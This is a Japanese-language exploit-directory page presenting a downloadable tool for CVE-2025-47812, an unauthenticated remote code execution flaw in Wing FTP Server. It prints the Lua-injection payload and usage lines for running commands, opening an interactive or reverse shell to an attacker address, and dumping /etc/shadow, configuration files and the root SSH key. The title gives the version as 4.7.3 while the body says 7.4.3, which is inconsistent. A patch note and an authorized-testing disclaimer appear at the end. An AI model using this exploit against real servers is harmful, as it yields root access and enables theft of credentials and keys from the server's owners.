Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-47812 — WingFTP v4.7.3 向け RCE | Kitploit
ツール/GitHubGitHub/popyue/cve-2025-47812
エクスプロイトウェブアプリケーション悪用ペネトレーションテスト認証リモートアクセスツールペイロード開発
GitHubpopyue/cve-2025-47812

CVE-2025-47812

WingFTP v4.7.3 向け RCE

リポジトリを見る
5ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-47812 — Wing FTP Server 未認証 RCE

root@kitploit:~
 ██╗    ██╗██╗███╗   ██╗ ██████╗     ███████╗████████╗██████╗
 ██║    ██║██║████╗  ██║██╔════╝     ██╔════╝╚══██╔══╝██╔══██╗
 ██║ █╗ ██║██║██╔██╗ ██║██║  ███╗    █████╗     ██║   ██████╔╝
 ██║███╗██║██║██║╚██╗██║██║   ██║    ██╔══╝     ██║   ██╔═══╝
 ╚███╔███╔╝██║██║ ╚████║╚██████╔╝    ██║        ██║   ██║
  ╚══╝╚══╝ ╚═╝╚═╝  ╚═══╝ ╚═════╝     ╚═╝        ╚═╝   ╚═╝

概要

項目詳細
CVECVE-2025-47812
影響を受けるバージョンWing FTP Server <= 7.4.3
修正バージョンWing FTP Server 7.4.4
CVSS10.0(緊急)
認証要件不要(匿名ログインのみで十分)
取得権限root(Linux)/ NT AUTHORITY\SYSTEM(Windows)
発見者Julien Ahrens (@MrTuxracer) — rcesecurity.com

脆弱性の説明

Wing FTP Server の Web インターフェースには、認証前の 2 段階で実行されるリモートコード実行(RCE)攻撃に対する脆弱性があります。

ステージ 1 — NULL バイト認証バイパス + Lua コードインジェクション

Wing FTP バイナリ内の c_CheckUser() 関数は内部で strlen() を使用しているため、ユーザー名文字列は最初の NULL バイト(\x00)で切り詰められます。つまり、anonymous(または任意の有効なユーザー)が存在する限り、anonymous%00<arbitrary_data> のようなユーザー名は認証を通過します。

認証が成功すると、loginok.html は サニタイズされていない完全な POST パラメータ(NULL バイト以降のすべてを含む)を rawset(_SESSION, "username", username) に渡します。その後、セッションは SessionModule.save() によってディスク上の Lua スクリプトファイルにシリアライズされます。

シリアライズ関数は文字列値をサニタイズせずに Lua のロング文字列リテラル [[...]] でラップするため、ユーザー名に ]] を挿入することで文字列リテラルを途中で終了させ、セッションファイルに任意の Lua コードを追加できます。

ペイロード構造:

root@kitploit:~
anonymous\x00]]
local h = io.popen("id")
local r = h:read("*a")
h:close()
print(r)
--

末尾の -- は、Wing FTP が値の後に追加する ]] をコメントアウトします。

ステージ 2 — 認証済みエンドポイント経由でのトリガー

セッションファイル(UID クッキー値にちなんで命名されます)は Lua スクリプトであり、認証済みエンドポイントにアクセスするたびに loadfile() + f() で実行されます。UID クッキーを付けて POST /dir.html を送信すると、注入された Lua が実行され、<?xml コンテンツの前にコマンド出力がレスポンスボディに返されます。


必要条件

  • Python 3.10+
  • requests, urllib3
root@kitploit:~
pip install -r requirements.txt

使い方

root@kitploit:~
usage: CVE-2025-47812 [-h] [-U USER] [-P PASS] [--vhost HOST] [--timeout N]
                      [--verify-ssl]
                      [--cmd CMD | --shell | --revshell | --dump]
                      [--lhost IP] [--lport PORT] [--listen]
                      target

使用例

root@kitploit:~
# Single command
python3 CVE-2025-47812.py http://ftp.target.com --cmd "id"
python3 CVE-2025-47812.py http://ftp.target.com --cmd "cat /etc/passwd"

# Target by IP (Wing FTP uses virtual-host routing — supply hostname with --vhost)
python3 CVE-2025-47812.py http://10.10.10.10 --vhost ftp.target.com --cmd "id"

# Interactive pseudo-shell
python3 CVE-2025-47812.py http://ftp.target.com --shell

# Reverse shell (start nc listener separately)
python3 CVE-2025-47812.py http://ftp.target.com --revshell --lhost 10.10.14.5 --lport 4444

# Reverse shell with built-in listener
python3 CVE-2025-47812.py http://ftp.target.com --revshell --listen --lhost 10.10.14.5 --lport 4444

# Dump sensitive files (/etc/passwd, /etc/shadow, Wing.cfg, root SSH key)
python3 CVE-2025-47812.py http://ftp.target.com --dump

# With non-anonymous credentials
python3 CVE-2025-47812.py http://ftp.target.com -U ftpuser -P secret --cmd "whoami"

対策

Wing FTP Server を バージョン 7.4.4 以上にアップグレードしてください。


参照

  • 元の解説記事: https://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812/
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-47812
  • 関連: CVE-2025-47811(過度に寛容なサービス権限)、CVE-2025-47813(過長な UID クッキーによるパス情報の開示)

免責事項

本ツールは、教育目的および許可を得たペネトレーションテスト専用に提供されます。所有していない、または明示的な書面によるテスト許可を得ていないシステムに対してこのエクスプロイトを実行することは、違法かつ非倫理的です。著者は誤用に対していかなる責任も負いません。

ツールをダウンロード